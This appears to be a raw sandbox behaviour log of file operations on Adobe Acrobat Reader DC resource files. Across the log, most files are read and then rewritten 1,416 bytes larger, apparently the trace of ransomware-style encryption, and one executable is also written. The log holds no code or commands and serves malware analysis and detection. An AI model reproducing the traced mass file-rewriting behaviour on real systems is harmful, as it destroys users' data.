File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ui-strings.js, size = 2632	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\cs-cz\ui-strings.js, size = 8013, size_out = 8013	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\cs-cz\ui-strings.js, size = 9429	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\ui-strings.js, size = 7220, size_out = 7220	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\ui-strings.js, size = 8636	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\ui-strings.js, size = 1756, size_out = 1756	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe, size = 3172	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\ui-strings.js, size = 1849, size_out = 1849	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\ui-strings.js, size = 3265	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\ui-strings.js, size = 1785, size_out = 1785	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\ui-strings.js, size = 3201	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\main.css, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\main.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\main.css, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning.png, size = 614, size_out = 614	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning.png, size = 2030	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-selector.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\main-selector.css, size = 1203, size_out = 1203	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\main-selector.css, size = 2619	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\es-es\ui-strings.js, size = 1136, size_out = 1136	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\es-es\ui-strings.js, size = 2552	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\ui-strings.js, size = 1130, size_out = 1130	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\ui-strings.js, size = 2546	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\ui-strings.js, size = 1147, size_out = 1147	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\ui-strings.js, size = 2563	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\ui-strings.js, size = 1227, size_out = 1227	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\ui-strings.js, size = 2643	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\ui-strings.js, size = 1240, size_out = 1240	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\ui-strings.js, size = 2656	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\uk-ua\ui-strings.js, size = 1418, size_out = 1418	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\uk-ua\ui-strings.js, size = 2834	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\cs-cz\ui-strings.js, size = 1348, size_out = 1348	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\cs-cz\ui-strings.js, size = 2764	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\ui-strings.js, size = 1383, size_out = 1383	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\ui-strings.js, size = 2799	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ro-ro\ui-strings.js, size = 1349, size_out = 1349	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ro-ro\ui-strings.js, size = 2765	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-tw\ui-strings.js, size = 1290, size_out = 1290	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-tw\ui-strings.js, size = 2706	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fi-fi\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fi-fi\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fi-fi\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pl-pl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pl-pl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pl-pl\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\uk-ua\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\uk-ua\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_2x.png, size = 2027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\cs-cz\ui-strings.js, size = 1304, size_out = 1304	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\cs-cz\ui-strings.js, size = 2720	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
